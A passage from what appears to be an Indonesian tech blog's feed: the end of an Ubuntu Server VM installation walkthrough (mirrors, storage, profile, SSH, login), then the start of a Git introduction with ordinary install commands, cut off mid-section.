&lt;/ul&gt;&lt;p&gt;Secara “default”, Ubuntu akan memberikan alamat “repo” berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://archive.ubuntu.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tapi, seperti terlihat pada gambar di bawah, saya sudah mengganti “repo”-nya ke mirror di UGM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://repo.ugm.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk menggantinya, kalian cukup menghapus alamat “repo” sebelumnya dan menggantinya dengan alamat yang baru pada kolom putih tersebut, kemudian, tekan “Enter”  di kolom tersebut agar Ubuntu dapat memastikan ketersediaan “repo” tersebut.&lt;/p&gt;&lt;p&gt;Beberapa opsi “repo” lain yang ada di Indonesia dapat dicari pada tautan berikut: &lt;code&gt;http://mirrors.ubuntu.com/ID.txt&lt;/code&gt;
Atau saya lampirkan saja langsung isi file tersebut pada saat artikel ini dibuat:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://mirror.biznetgio.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://kartolo.sby.datautama.net.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://suro.ubaya.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.faizuladib.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.repository.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.amscloud.co.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://mirror.poliwangi.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.nevacloud.com/ubuntu/ubuntu-archive/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://repo.ugm.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.citrahost.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://mirror.cepatcloud.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mr.heru.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://dl2.foss-id.web.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://mirror.deace.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.dewabiz.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.unair.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror-gw.elastis.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://kebo.pens.ac.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.gi.co.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://mirror.papua.go.id/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://kebo.vlsm.org/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;https://linux.domainesia.com/ubuntu/ubuntu-archive/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://archive.ubuntu.com/ubuntu/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mirror configuration&quot; loading=&quot;lazy&quot; width=&quot;1510&quot; height=&quot;940&quot; src=&quot;/_astro/ss7.CF9Q_dW9_ZNcpWq.webp&quot; /&gt;&lt;figcaption&gt;mirror configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk melanjutkan tekan “Enter” pada opsi “Done” di bawah.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Storage Configuration&lt;a href=&quot;#7-storage-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah itu, kita akan diarahkan pada konfigurasi penyimpanan (&lt;em&gt;storage&lt;/em&gt;).&lt;br /&gt;
Seperti terlihat pada gambar di bawah ini, terdapat 2 pilihan konfigurasi penyimpanan di sana:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Use an entire disk&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Custom storage layout&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Pada pilihan pertama, akan memakai seluruh “disk” atau “virtual disk” untuk meng-&lt;em&gt;install&lt;/em&gt; VM Ubuntu Server ini, dan membiarkan VM ini sendiri yang mengatur partisinya, seperti besaran partisi untuk “boot”, partisi untuk “swap”, dan partisi untuk penyimpanan. Umumnya, jika dibiarkan “default” alias memilih opsi pertama ini, nanti direktori atau folder home root &lt;code&gt;/root&lt;/code&gt; juga dan direktori user &lt;code&gt;/home/user&lt;/code&gt; akan berada di partisi yang sama. Selain itu, seperti terlihat juga pada tangkapan layar di bawah ini, kita juga dapat mengenkripsi &lt;em&gt;storage&lt;/em&gt; kita pada opsi pertama ini.&lt;/p&gt;&lt;p&gt;Pada pilihan kedua, kita dapat lebih leluasa mengatur partisi-partisi yang diinginkan, misalnya seperti memisahkan partisi root dengan partisi user. Tentu saja hal ini memerlukan pengetahuan tentang partisi di Linux. Artinya, sebagai pemula atau pengguna linux yang tidak terlalu peduli dengan partisi ini, pilihan pertama sudah cukup.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;storage configuration&quot; loading=&quot;lazy&quot; width=&quot;1507&quot; height=&quot;942&quot; src=&quot;/_astro/ss8.C7pvsKj5_1GhEJb.webp&quot; /&gt;&lt;figcaption&gt;storage configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;storage configuration-2&quot; loading=&quot;lazy&quot; width=&quot;1509&quot; height=&quot;940&quot; src=&quot;/_astro/ss9.B7OMiTiM_4xvXF.webp&quot; /&gt;&lt;figcaption&gt;storage configuration-2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Biarkan “default”. Untuk melanjutkan, tekan “Enter” pada setiap tahap di atas.&lt;/p&gt;&lt;p&gt;Akan muncul &lt;em&gt;pop-up&lt;/em&gt; window konfirmasi untuk melanjutkan ke proses instalasi. Pastikan tulisan tersebut dibaca dan diperhatikan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;storage configuration confirmation&quot; loading=&quot;lazy&quot; width=&quot;1507&quot; height=&quot;936&quot; src=&quot;/_astro/ss10.ZVtrpU_J_Z2akxti.webp&quot; /&gt;&lt;figcaption&gt;storage configuration confirmation&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pilih “continue”, lalu tekan “Enter”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;8. Profile Configuration&lt;a href=&quot;#8-profile-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita akan mengkonfigurasi “profile”, seperti &lt;strong&gt;username&lt;/strong&gt; &amp;amp; &lt;strong&gt;password&lt;/strong&gt;, dan &lt;strong&gt;hostname&lt;/strong&gt;.&lt;br /&gt;
Isi kolom-kolom tersebut sesuai prefensi masing-masing.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;profile configuration&quot; loading=&quot;lazy&quot; width=&quot;1510&quot; height=&quot;940&quot; src=&quot;/_astro/ss11.CssUjaqh_Z1rkm4p.webp&quot; /&gt;&lt;figcaption&gt;profile configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika sudah selesai diisi, tekan “Enter” pada bagian “Done” di bawah, untuk melanjutkan.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;9. Upgrade Ubuntu Pro&lt;a href=&quot;#9-upgrade-ubuntu-pro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tahap selanjutnya menawarkan kita opsi upgrade ke Ubuntu Pro.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Upgrade Option&quot; loading=&quot;lazy&quot; width=&quot;1512&quot; height=&quot;939&quot; src=&quot;/_astro/ss12.BQ3bsfRz_18pjlf.webp&quot; /&gt;&lt;figcaption&gt;Upgrade Option&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Karena Ubuntu Pro berbayar, maka saya akan biarkan “default” (&lt;em&gt;Skip for now&lt;/em&gt;) pada bagian ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;10. SSH Configuration&lt;a href=&quot;#10-ssh-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tahap kesepuluh adalah mengkonfigurasi SSH (Secure Shell).&lt;br /&gt;
Untuk mengaktifkan SSH Server seperti yang saya lakukan dan terlihat juga pada gambar di bawah ini, kita bisa menekan tombol spasi “Space” di keyboard pada opsi “Install OpenSSH Server”.&lt;/p&gt;&lt;p&gt;Jika ingin meng-&lt;em&gt;import&lt;/em&gt; SSH keys, kita juga dapat melakukannya karena fitur tersebut disediakan oleh Ubuntu. Tapi, jika tidak ada, biarkan apa adanya.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SSH Configuration&quot; loading=&quot;lazy&quot; width=&quot;1511&quot; height=&quot;940&quot; src=&quot;/_astro/ss13.BdnOZ_ZE_Z1vQnt8.webp&quot; /&gt;&lt;figcaption&gt;SSH Configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk melanjutkan, tekan “Enter”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;11. Featured Snaps&lt;a href=&quot;#11-featured-snaps&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita dipersilakan untuk memilih paket yang ingin di-&lt;em&gt;install&lt;/em&gt; ke server.&lt;br /&gt;
Untuk memilihnya, sama seperti mengaktifkan SSH pada tahap sebelumnya, kita hanya perlu menekan tombol spasi “Space” di keyboard pada pilihan paket yang ingin di-&lt;em&gt;install&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Featured Server Snaps&quot; loading=&quot;lazy&quot; width=&quot;1509&quot; height=&quot;940&quot; src=&quot;/_astro/ss14.Bi3EEpLD_Z1PAgyW.webp&quot; /&gt;&lt;figcaption&gt;Featured Server Snaps&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk lanjut, tekan “Enter”.&lt;/p&gt;&lt;p&gt;Kemudian, proses instalasi akan mulai berlangsung, tunggu beberapa saat karena proses ini sangat bergantung pada &lt;em&gt;resource&lt;/em&gt; yang digunakan berikut juga dengan kecepatan koneksi internet.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Installation Process is running...&quot; loading=&quot;lazy&quot; width=&quot;1513&quot; height=&quot;937&quot; src=&quot;/_astro/ss15.k-Zn5imT_8TeqF.webp&quot; /&gt;&lt;figcaption&gt;Installation Process is running...&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;After Installation&lt;a href=&quot;#after-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ketika proses instalasi sudah selesai, silakan &lt;em&gt;restart&lt;/em&gt; &lt;em&gt;virtual machine&lt;/em&gt; (VM) Ubuntu Server tersebut.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Login&lt;a href=&quot;#login&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah VM di-&lt;em&gt;restart&lt;/em&gt;, interface yang muncul akan berupa CLI lagi, seperti gambar berikut ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Login&quot; loading=&quot;lazy&quot; width=&quot;1511&quot; height=&quot;939&quot; src=&quot;/_astro/ss16.wqlHKkpo_Z1DoHEA.webp&quot; /&gt;&lt;figcaption&gt;Login&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Silakan masukkan “username” yang sudah dibuat sebelumnya pada &lt;em&gt;prompt&lt;/em&gt; “&lt;strong&gt;login:&lt;/strong&gt;” dan masukkan “password” juga yang sudah kita buat pada saat instalasi tadi di &lt;em&gt;prompt&lt;/em&gt; “&lt;strong&gt;Password:&lt;/strong&gt;”.&lt;/p&gt;&lt;p&gt;Berikut adalah tampilan ketika kita sudah berada di dalam server:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Login-2&quot; loading=&quot;lazy&quot; width=&quot;1428&quot; height=&quot;943&quot; src=&quot;/_astro/ss17.DA-refjP_ZBpJ5k.webp&quot; /&gt;&lt;figcaption&gt;Login-2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Demikian, semoga bermanfaat.&lt;br /&gt;
😃🤓😎&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis di &lt;strong&gt;Archlinux - Hyprland&lt;/strong&gt;!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Archlinux with Hyprland&quot; loading=&quot;lazy&quot; width=&quot;3840&quot; height=&quot;3240&quot; src=&quot;/_astro/arch_hyprland.DGJg2ubv_1KdAiT.webp&quot; /&gt;&lt;figcaption&gt;Archlinux with Hyprland&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>Git in A Nutshell (+ Lazygit)</title><link>https://shangdi.github.io/posts/tech/git/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/git/</guid><description>A seriously short introduction to Git and Github, with Lazygit as an automation tool for Git. Its not as hard as you assume. Dont overthink it.</description><pubDate>Sat, 19 Jul 2025 00:10:27 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;What is Git?&lt;a href=&quot;#what-is-git&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebagai &lt;em&gt;blogger&lt;/em&gt; yang meng-&lt;em&gt;hosting&lt;/em&gt; file dan tulisannya di Github, saya tentu saja sudah dipastikan menggunakan Git. Bahkan, artikel pertama saya pada blog ini jelas sekali langsung membahas tentang pembuatan blog dengan &lt;a href=&quot;https://gohugo.io/&quot; target=&quot;_blank&quot;&gt;Hugo&lt;/a&gt; sebagai “&lt;em&gt;website generator&lt;/em&gt;”-nya dan &lt;a href=&quot;https://github.com/&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt; sebagai “server &lt;em&gt;hosting&lt;/em&gt;”-nya.&lt;/p&gt;&lt;a href=&quot;/posts/tech/hugo-ing/&quot;&gt;&lt;div&gt;&lt;div&gt;Hugo-ing (from Zero to Hero)&lt;/div&gt;&lt;div&gt;Beginner step to start creating static-site via using Hugo.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2023-10-07&lt;/span&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt;&lt;span&gt;#hugo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;219&quot; src=&quot;/_astro/featured.Cy0Vexud_2x0WC7.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h3&gt;Git Definition&lt;a href=&quot;#git-definition&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jadi, apa itu “Git”?&lt;/p&gt;&lt;p&gt;Merujuk ke website official-nya, &lt;code&gt;git&lt;/code&gt; dijelaskan sebagai berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;“Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.”&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Jadi, jelas bahwa &lt;code&gt;git&lt;/code&gt; adalah &lt;strong&gt;“&lt;em&gt;distributed version control system&lt;/em&gt;” (dVCS)&lt;/strong&gt; yang bersifat &lt;em&gt;open source&lt;/em&gt;. &lt;code&gt;git&lt;/code&gt; sendiri dikembangkan oleh &lt;a href=&quot;https://github.com/torvalds&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Linus Torvalds&lt;/strong&gt;&lt;/a&gt; (yang juga merupakan penemu Linux) pada tahun 2005 dan hari ini dilanjutkan oleh Junio Hamano.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Secara umum, &lt;code&gt;git&lt;/code&gt; digunakan untuk mencatat perubahan yang terjadi pada file dalam &lt;em&gt;software project&lt;/em&gt;. Kata “&lt;em&gt;distributed&lt;/em&gt;” pada dVCS menjelaskan bahwa setiap orang yang terlibat pada suatu proyek yang sama akan memiliki dan melihat salinan lengkap catatan tersebut dari &lt;em&gt;database&lt;/em&gt; &lt;code&gt;git&lt;/code&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;git&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install git&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy git&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install git&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install git&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Its Functionality&lt;a href=&quot;#its-functionality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Apa fungsi &lt;code&gt;git&lt;/code&gt;?&lt;/p&gt;&lt;p&gt;Sebagai &lt;em&gt;version control system&lt;/em&gt; atau VCS, berikut adalah beberapa fungsi utama &lt;code&gt;git&lt;/code&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Pencatatan Perubahan.&lt;/strong&gt; &lt;code&gt;git&lt;/code&gt; mencatat setiap perubahan pada file dalam suatu proyek, sehingga kita dapat melihat “apa” yang berubah, “siapa” yang mengubah, dan “kapan” diubah.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Kolaborasi Tim.&lt;/strong&gt; Dengan adanya &lt;code&gt;git&lt;/code&gt;, proses pengembangan &lt;em&gt;software&lt;/em&gt; yang memerlukan kolaborasi banyak orang menjadi lebih mudah dilakukan, tanpa perlu khawatir pada konflik kode.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3. Manajemen Versi.&lt;/strong&gt; git juga menyimpan versi proyek kita. Artinya, jika kita ingin kembali ke versi sebelumnya (misalnya karena di versi sekarang ada masalah), itu dapat dilakukan.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4. Penyimpanan Terdistribusi.&lt;/strong&gt; Seperti yang dijelaskan pada bagian definisi, &lt;code&gt;git&lt;/code&gt; memungkinkan setiap anggota untuk memiliki salinan lengkap proyek.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;5. Branching &amp;amp; Merging.&lt;/strong&gt; Pembuatan “branch” dapat dilakukan (misalnya jika ada penambahan fitur baru atau terdapat &lt;em&gt;bug&lt;/em&gt;) dengan &lt;code&gt;git&lt;/code&gt;. Branch tersebut kemudian digabungkan kembali ke cabang utama (main branch) setelah selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How does Git Work?&lt;a href=&quot;#how-does-git-work&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Bagaimana 